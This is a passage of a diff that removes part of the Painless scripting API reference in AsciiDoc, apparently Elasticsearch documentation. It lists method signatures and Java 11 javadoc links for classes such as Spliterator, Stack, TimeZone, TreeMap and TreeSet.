-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* def {java11-javadoc}/java.base/java/util/SortedSet.html#first()[first]()
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/Set.html#hashCode()[hashCode]()
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#headSet(java.lang.Object)[headSet](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* def {java11-javadoc}/java.base/java/util/SortedSet.html#last()[last]()
-* boolean {java11-javadoc}/java.base/java/util/Set.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#subSet(java.lang.Object,java.lang.Object)[subSet](def, def)
-* double sum()
-* double sum(ToDoubleFunction)
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#tailSet(java.lang.Object)[tailSet](def)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Spliterator]]
-==== Spliterator
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#CONCURRENT[CONCURRENT]
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#DISTINCT[DISTINCT]
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#IMMUTABLE[IMMUTABLE]
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#NONNULL[NONNULL]
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#ORDERED[ORDERED]
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#SIZED[SIZED]
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#SORTED[SORTED]
-* static int {java11-javadoc}/java.base/java/util/Spliterator.html#SUBSIZED[SUBSIZED]
-* int {java11-javadoc}/java.base/java/util/Spliterator.html#characteristics()[characteristics]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#estimateSize()[estimateSize]()
-* void {java11-javadoc}/java.base/java/util/Spliterator.html#forEachRemaining(java.util.function.Consumer)[forEachRemaining](Consumer)
-* Comparator {java11-javadoc}/java.base/java/util/Spliterator.html#getComparator()[getComparator]()
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#getExactSizeIfKnown()[getExactSizeIfKnown]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator.html#hasCharacteristics(int)[hasCharacteristics](int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator.html#tryAdvance(java.util.function.Consumer)[tryAdvance](Consumer)
-* Spliterator {java11-javadoc}/java.base/java/util/Spliterator.html#trySplit()[trySplit]()
-
-
-[[painless-api-reference-shared-Spliterator-OfDouble]]
-==== Spliterator.OfDouble
-* int {java11-javadoc}/java.base/java/util/Spliterator.html#characteristics()[characteristics]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#estimateSize()[estimateSize]()
-* void {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* Comparator {java11-javadoc}/java.base/java/util/Spliterator.html#getComparator()[getComparator]()
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#getExactSizeIfKnown()[getExactSizeIfKnown]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator.html#hasCharacteristics(int)[hasCharacteristics](int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#tryAdvance(java.lang.Object)[tryAdvance](def)
-* Spliterator.OfDouble {java11-javadoc}/java.base/java/util/Spliterator$OfDouble.html#trySplit()[trySplit]()
-
-
-[[painless-api-reference-shared-Spliterator-OfInt]]
-==== Spliterator.OfInt
-* int {java11-javadoc}/java.base/java/util/Spliterator.html#characteristics()[characteristics]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#estimateSize()[estimateSize]()
-* void {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* Comparator {java11-javadoc}/java.base/java/util/Spliterator.html#getComparator()[getComparator]()
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#getExactSizeIfKnown()[getExactSizeIfKnown]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator.html#hasCharacteristics(int)[hasCharacteristics](int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#tryAdvance(java.lang.Object)[tryAdvance](def)
-* Spliterator.OfInt {java11-javadoc}/java.base/java/util/Spliterator$OfInt.html#trySplit()[trySplit]()
-
-
-[[painless-api-reference-shared-Spliterator-OfLong]]
-==== Spliterator.OfLong
-* int {java11-javadoc}/java.base/java/util/Spliterator.html#characteristics()[characteristics]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#estimateSize()[estimateSize]()
-* void {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* Comparator {java11-javadoc}/java.base/java/util/Spliterator.html#getComparator()[getComparator]()
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#getExactSizeIfKnown()[getExactSizeIfKnown]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator.html#hasCharacteristics(int)[hasCharacteristics](int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#tryAdvance(java.lang.Object)[tryAdvance](def)
-* Spliterator.OfLong {java11-javadoc}/java.base/java/util/Spliterator$OfLong.html#trySplit()[trySplit]()
-
-
-[[painless-api-reference-shared-Spliterator-OfPrimitive]]
-==== Spliterator.OfPrimitive
-* int {java11-javadoc}/java.base/java/util/Spliterator.html#characteristics()[characteristics]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#estimateSize()[estimateSize]()
-* void {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#forEachRemaining(java.lang.Object)[forEachRemaining](def)
-* Comparator {java11-javadoc}/java.base/java/util/Spliterator.html#getComparator()[getComparator]()
-* long {java11-javadoc}/java.base/java/util/Spliterator.html#getExactSizeIfKnown()[getExactSizeIfKnown]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator.html#hasCharacteristics(int)[hasCharacteristics](int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* boolean {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#tryAdvance(java.lang.Object)[tryAdvance](def)
-* Spliterator.OfPrimitive {java11-javadoc}/java.base/java/util/Spliterator$OfPrimitive.html#trySplit()[trySplit]()
-
-
-[[painless-api-reference-shared-Spliterators]]
-==== Spliterators
-* static Spliterator.OfDouble {java11-javadoc}/java.base/java/util/Spliterators.html#emptyDoubleSpliterator()[emptyDoubleSpliterator]()
-* static Spliterator.OfInt {java11-javadoc}/java.base/java/util/Spliterators.html#emptyIntSpliterator()[emptyIntSpliterator]()
-* static Spliterator.OfLong {java11-javadoc}/java.base/java/util/Spliterators.html#emptyLongSpliterator()[emptyLongSpliterator]()
-* static Spliterator {java11-javadoc}/java.base/java/util/Spliterators.html#emptySpliterator()[emptySpliterator]()
-* static Iterator {java11-javadoc}/java.base/java/util/Spliterators.html#iterator(java.util.Spliterator)[iterator](Spliterator)
-* static Spliterator {java11-javadoc}/java.base/java/util/Spliterators.html#spliterator(java.util.Collection,int)[spliterator](Collection, int)
-* static Spliterator {java11-javadoc}/java.base/java/util/Spliterators.html#spliterator(java.util.Iterator,long,int)[spliterator](Iterator, long, int)
-* static Spliterator {java11-javadoc}/java.base/java/util/Spliterators.html#spliteratorUnknownSize(java.util.Iterator,int)[spliteratorUnknownSize](Iterator, int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Stack]]
-==== Stack
-* {java11-javadoc}/java.base/java/util/Stack.html#<init>()[Stack]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* void {java11-javadoc}/java.base/java/util/List.html#add(int,java.lang.Object)[add](int, def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean {java11-javadoc}/java.base/java/util/List.html#addAll(int,java.util.Collection)[addAll](int, Collection)
-* void {java11-javadoc}/java.base/java/util/Vector.html#addElement(java.lang.Object)[addElement](def)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/Vector.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* void {java11-javadoc}/java.base/java/util/Vector.html#copyInto(java.lang.Object%5B%5D)[copyInto](Object[])
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* def {java11-javadoc}/java.base/java/util/Vector.html#elementAt(int)[elementAt](int)
-* Enumeration {java11-javadoc}/java.base/java/util/Vector.html#elements()[elements]()
-* boolean {java11-javadoc}/java.base/java/util/Stack.html#empty()[empty]()
-* boolean {java11-javadoc}/java.base/java/util/List.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* def {java11-javadoc}/java.base/java/util/Vector.html#firstElement()[firstElement]()
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* def {java11-javadoc}/java.base/java/util/List.html#get(int)[get](int)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* int getLength()
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/List.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/List.html#indexOf(java.lang.Object)[indexOf](def)
-* void {java11-javadoc}/java.base/java/util/Vector.html#insertElementAt(java.lang.Object,int)[insertElementAt](def, int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* def {java11-javadoc}/java.base/java/util/Vector.html#lastElement()[lastElement]()
-* int {java11-javadoc}/java.base/java/util/List.html#lastIndexOf(java.lang.Object)[lastIndexOf](def)
-* int {java11-javadoc}/java.base/java/util/Vector.html#lastIndexOf(java.lang.Object,int)[lastIndexOf](def, int)
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator()[listIterator]()
-* ListIterator {java11-javadoc}/java.base/java/util/List.html#listIterator(int)[listIterator](int)
-* def {java11-javadoc}/java.base/java/util/Stack.html#peek()[peek]()
-* def {java11-javadoc}/java.base/java/util/Stack.html#pop()[pop]()
-* def {java11-javadoc}/java.base/java/util/Stack.html#push(java.lang.Object)[push](def)
-* def {java11-javadoc}/java.base/java/util/List.html#remove(int)[remove](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeAll(java.util.Collection)[removeAll](Collection)
-* void {java11-javadoc}/java.base/java/util/Vector.html#removeAllElements()[removeAllElements]()
-* boolean {java11-javadoc}/java.base/java/util/Vector.html#removeElement(java.lang.Object)[removeElement](def)
-* void {java11-javadoc}/java.base/java/util/Vector.html#removeElementAt(int)[removeElementAt](int)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#removeIf(java.util.function.Predicate)[removeIf](Predicate)
-* void {java11-javadoc}/java.base/java/util/List.html#replaceAll(java.util.function.UnaryOperator)[replaceAll](UnaryOperator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#retainAll(java.util.Collection)[retainAll](Collection)
-* int {java11-javadoc}/java.base/java/util/Stack.html#search(java.lang.Object)[search](def)
-* def {java11-javadoc}/java.base/java/util/List.html#set(int,java.lang.Object)[set](int, def)
-* void {java11-javadoc}/java.base/java/util/Vector.html#setElementAt(java.lang.Object,int)[setElementAt](def, int)
-* int {java11-javadoc}/java.base/java/util/Collection.html#size()[size]()
-* void {java11-javadoc}/java.base/java/util/List.html#sort(java.util.Comparator)[sort](Comparator)
-* List split(Predicate)
-* Spliterator {java11-javadoc}/java.base/java/util/Collection.html#spliterator()[spliterator]()
-* Stream {java11-javadoc}/java.base/java/util/Collection.html#stream()[stream]()
-* List {java11-javadoc}/java.base/java/util/List.html#subList(int,int)[subList](int, int)
-* double sum()
-* double sum(ToDoubleFunction)
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray()[toArray]()
-* def[] {java11-javadoc}/java.base/java/util/Collection.html#toArray(java.lang.Object%5B%5D)[toArray](def[])
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StringJoiner]]
-==== StringJoiner
-* {java11-javadoc}/java.base/java/util/StringJoiner.html#<init>(java.lang.CharSequence)[StringJoiner](CharSequence)
-* {java11-javadoc}/java.base/java/util/StringJoiner.html#<init>(java.lang.CharSequence,java.lang.CharSequence,java.lang.CharSequence)[StringJoiner](CharSequence, CharSequence, CharSequence)
-* StringJoiner {java11-javadoc}/java.base/java/util/StringJoiner.html#add(java.lang.CharSequence)[add](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/util/StringJoiner.html#length()[length]()
-* StringJoiner {java11-javadoc}/java.base/java/util/StringJoiner.html#merge(java.util.StringJoiner)[merge](StringJoiner)
-* StringJoiner {java11-javadoc}/java.base/java/util/StringJoiner.html#setEmptyValue(java.lang.CharSequence)[setEmptyValue](CharSequence)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StringTokenizer]]
-==== StringTokenizer
-* {java11-javadoc}/java.base/java/util/StringTokenizer.html#<init>(java.lang.String)[StringTokenizer](null)
-* {java11-javadoc}/java.base/java/util/StringTokenizer.html#<init>(java.lang.String,java.lang.String)[StringTokenizer](null, null)
-* {java11-javadoc}/java.base/java/util/StringTokenizer.html#<init>(java.lang.String,java.lang.String,boolean)[StringTokenizer](null, null, boolean)
-* int {java11-javadoc}/java.base/java/util/StringTokenizer.html#countTokens()[countTokens]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/util/Enumeration.html#hasMoreElements()[hasMoreElements]()
-* boolean {java11-javadoc}/java.base/java/util/StringTokenizer.html#hasMoreTokens()[hasMoreTokens]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* def {java11-javadoc}/java.base/java/util/Enumeration.html#nextElement()[nextElement]()
-* null {java11-javadoc}/java.base/java/util/StringTokenizer.html#nextToken()[nextToken]()
-* null {java11-javadoc}/java.base/java/util/StringTokenizer.html#nextToken(java.lang.String)[nextToken](null)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TimeZone]]
-==== TimeZone
-* static int {java11-javadoc}/java.base/java/util/TimeZone.html#LONG[LONG]
-* static int {java11-javadoc}/java.base/java/util/TimeZone.html#SHORT[SHORT]
-* static null[] {java11-javadoc}/java.base/java/util/TimeZone.html#getAvailableIDs()[getAvailableIDs]()
-* static null[] {java11-javadoc}/java.base/java/util/TimeZone.html#getAvailableIDs(int)[getAvailableIDs](int)
-* static TimeZone {java11-javadoc}/java.base/java/util/TimeZone.html#getDefault()[getDefault]()
-* static TimeZone {java11-javadoc}/java.base/java/util/TimeZone.html#getTimeZone(java.lang.String)[getTimeZone](null)
-* def {java11-javadoc}/java.base/java/util/TimeZone.html#clone()[clone]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/util/TimeZone.html#getDSTSavings()[getDSTSavings]()
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName()[getDisplayName]()
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName(java.util.Locale)[getDisplayName](Locale)
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName(boolean,int)[getDisplayName](boolean, int)
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getDisplayName(boolean,int,java.util.Locale)[getDisplayName](boolean, int, Locale)
-* null {java11-javadoc}/java.base/java/util/TimeZone.html#getID()[getID]()
-* int {java11-javadoc}/java.base/java/util/TimeZone.html#getOffset(long)[getOffset](long)
-* int {java11-javadoc}/java.base/java/util/TimeZone.html#getOffset(int,int,int,int,int,int)[getOffset](int, int, int, int, int, int)
-* int {java11-javadoc}/java.base/java/util/TimeZone.html#getRawOffset()[getRawOffset]()
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#hasSameRules(java.util.TimeZone)[hasSameRules](TimeZone)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#inDaylightTime(java.util.Date)[inDaylightTime](Date)
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#observesDaylightTime()[observesDaylightTime]()
-* void {java11-javadoc}/java.base/java/util/TimeZone.html#setRawOffset(int)[setRawOffset](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* ZoneId {java11-javadoc}/java.base/java/util/TimeZone.html#toZoneId()[toZoneId]()
-* boolean {java11-javadoc}/java.base/java/util/TimeZone.html#useDaylightTime()[useDaylightTime]()
-
-
-[[painless-api-reference-shared-TooManyListenersException]]
-==== TooManyListenersException
-* {java11-javadoc}/java.base/java/util/TooManyListenersException.html#<init>()[TooManyListenersException]()
-* {java11-javadoc}/java.base/java/util/TooManyListenersException.html#<init>(java.lang.String)[TooManyListenersException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TreeMap]]
-==== TreeMap
-* {java11-javadoc}/java.base/java/util/TreeMap.html#<init>()[TreeMap]()
-* {java11-javadoc}/java.base/java/util/TreeMap.html#<init>(java.util.Comparator)[TreeMap](Comparator)
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#ceilingEntry(java.lang.Object)[ceilingEntry](def)
-* def {java11-javadoc}/java.base/java/util/NavigableMap.html#ceilingKey(java.lang.Object)[ceilingKey](def)
-* void {java11-javadoc}/java.base/java/util/Map.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/TreeMap.html#clone()[clone]()
-* List collect(BiFunction)
-* def collect(Collection, BiFunction)
-* Comparator {java11-javadoc}/java.base/java/util/SortedMap.html#comparator()[comparator]()
-* def {java11-javadoc}/java.base/java/util/Map.html#compute(java.lang.Object,java.util.function.BiFunction)[compute](def, BiFunction)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfAbsent(java.lang.Object,java.util.function.Function)[computeIfAbsent](def, Function)
-* def {java11-javadoc}/java.base/java/util/Map.html#computeIfPresent(java.lang.Object,java.util.function.BiFunction)[computeIfPresent](def, BiFunction)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsKey(java.lang.Object)[containsKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#containsValue(java.lang.Object)[containsValue](def)
-* int count(BiPredicate)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableMap.html#descendingKeySet()[descendingKeySet]()
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#descendingMap()[descendingMap]()
-* def each(BiConsumer)
-* Set {java11-javadoc}/java.base/java/util/Map.html#entrySet()[entrySet]()
-* boolean {java11-javadoc}/java.base/java/util/Map.html#equals(java.lang.Object)[equals](Object)
-* boolean every(BiPredicate)
-* Map.Entry find(BiPredicate)
-* Map findAll(BiPredicate)
-* def findResult(BiFunction)
-* def findResult(def, BiFunction)
-* List findResults(BiFunction)
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#firstEntry()[firstEntry]()
-* def {java11-javadoc}/java.base/java/util/SortedMap.html#firstKey()[firstKey]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#floorEntry(java.lang.Object)[floorEntry](def)
-* def {java11-javadoc}/java.base/java/util/NavigableMap.html#floorKey(java.lang.Object)[floorKey](def)
-* void {java11-javadoc}/java.base/java/util/Map.html#forEach(java.util.function.BiConsumer)[forEach](BiConsumer)
-* def {java11-javadoc}/java.base/java/util/Map.html#get(java.lang.Object)[get](def)
-* Object getByPath(null)
-* Object getByPath(null, Object)
-* def {java11-javadoc}/java.base/java/util/Map.html#getOrDefault(java.lang.Object,java.lang.Object)[getOrDefault](def, def)
-* Map groupBy(BiFunction)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#headMap(java.lang.Object)[headMap](def)
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#headMap(java.lang.Object,boolean)[headMap](def, boolean)
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#higherEntry(java.lang.Object)[higherEntry](def)
-* def {java11-javadoc}/java.base/java/util/NavigableMap.html#higherKey(java.lang.Object)[higherKey](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#isEmpty()[isEmpty]()
-* Set {java11-javadoc}/java.base/java/util/Map.html#keySet()[keySet]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#lastEntry()[lastEntry]()
-* def {java11-javadoc}/java.base/java/util/SortedMap.html#lastKey()[lastKey]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#lowerEntry(java.lang.Object)[lowerEntry](def)
-* def {java11-javadoc}/java.base/java/util/Map.html#merge(java.lang.Object,java.lang.Object,java.util.function.BiFunction)[merge](def, def, BiFunction)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableMap.html#navigableKeySet()[navigableKeySet]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#pollFirstEntry()[pollFirstEntry]()
-* Map.Entry {java11-javadoc}/java.base/java/util/NavigableMap.html#pollLastEntry()[pollLastEntry]()
-* def {java11-javadoc}/java.base/java/util/Map.html#put(java.lang.Object,java.lang.Object)[put](def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#putAll(java.util.Map)[putAll](Map)
-* def {java11-javadoc}/java.base/java/util/Map.html#putIfAbsent(java.lang.Object,java.lang.Object)[putIfAbsent](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object)[remove](def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#remove(java.lang.Object,java.lang.Object)[remove](def, def)
-* def {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object)[replace](def, def)
-* boolean {java11-javadoc}/java.base/java/util/Map.html#replace(java.lang.Object,java.lang.Object,java.lang.Object)[replace](def, def, def)
-* void {java11-javadoc}/java.base/java/util/Map.html#replaceAll(java.util.function.BiFunction)[replaceAll](BiFunction)
-* int {java11-javadoc}/java.base/java/util/Map.html#size()[size]()
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#subMap(java.lang.Object,java.lang.Object)[subMap](def, def)
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#subMap(java.lang.Object,boolean,java.lang.Object,boolean)[subMap](def, boolean, def, boolean)
-* SortedMap {java11-javadoc}/java.base/java/util/SortedMap.html#tailMap(java.lang.Object)[tailMap](def)
-* NavigableMap {java11-javadoc}/java.base/java/util/NavigableMap.html#tailMap(java.lang.Object,boolean)[tailMap](def, boolean)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Collection {java11-javadoc}/java.base/java/util/Map.html#values()[values]()
-
-
-[[painless-api-reference-shared-TreeSet]]
-==== TreeSet
-* {java11-javadoc}/java.base/java/util/TreeSet.html#<init>()[TreeSet]()
-* {java11-javadoc}/java.base/java/util/TreeSet.html#<init>(java.util.Comparator)[TreeSet](Comparator)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#add(java.lang.Object)[add](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#addAll(java.util.Collection)[addAll](Collection)
-* boolean any(Predicate)
-* Collection asCollection()
-* List asList()
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#ceiling(java.lang.Object)[ceiling](def)
-* void {java11-javadoc}/java.base/java/util/Collection.html#clear()[clear]()
-* def {java11-javadoc}/java.base/java/util/TreeSet.html#clone()[clone]()
-* List collect(Function)
-* def collect(Collection, Function)
-* Comparator {java11-javadoc}/java.base/java/util/SortedSet.html#comparator()[comparator]()
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#contains(java.lang.Object)[contains](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#containsAll(java.util.Collection)[containsAll](Collection)
-* Iterator {java11-javadoc}/java.base/java/util/NavigableSet.html#descendingIterator()[descendingIterator]()
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#descendingSet()[descendingSet]()
-* def each(Consumer)
-* def eachWithIndex(ObjIntConsumer)
-* boolean {java11-javadoc}/java.base/java/util/Set.html#equals(java.lang.Object)[equals](Object)
-* boolean every(Predicate)
-* def find(Predicate)
-* List findAll(Predicate)
-* def findResult(Function)
-* def findResult(def, Function)
-* List findResults(Function)
-* def {java11-javadoc}/java.base/java/util/SortedSet.html#first()[first]()
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#floor(java.lang.Object)[floor](def)
-* void {java11-javadoc}/java.base/java/lang/Iterable.html#forEach(java.util.function.Consumer)[forEach](Consumer)
-* Map groupBy(Function)
-* int {java11-javadoc}/java.base/java/util/Set.html#hashCode()[hashCode]()
-* SortedSet {java11-javadoc}/java.base/java/util/SortedSet.html#headSet(java.lang.Object)[headSet](def)
-* NavigableSet {java11-javadoc}/java.base/java/util/NavigableSet.html#headSet(java.lang.Object,boolean)[headSet](def, boolean)
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#higher(java.lang.Object)[higher](def)
-* boolean {java11-javadoc}/java.base/java/util/Collection.html#isEmpty()[isEmpty]()
-* Iterator {java11-javadoc}/java.base/java/lang/Iterable.html#iterator()[iterator]()
-* null join(null)
-* def {java11-javadoc}/java.base/java/util/SortedSet.html#last()[last]()
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#lower(java.lang.Object)[lower](def)
-* def {java11-javadoc}/java.base/java/util/NavigableSet.html#pollFirst()[pollFirst]()
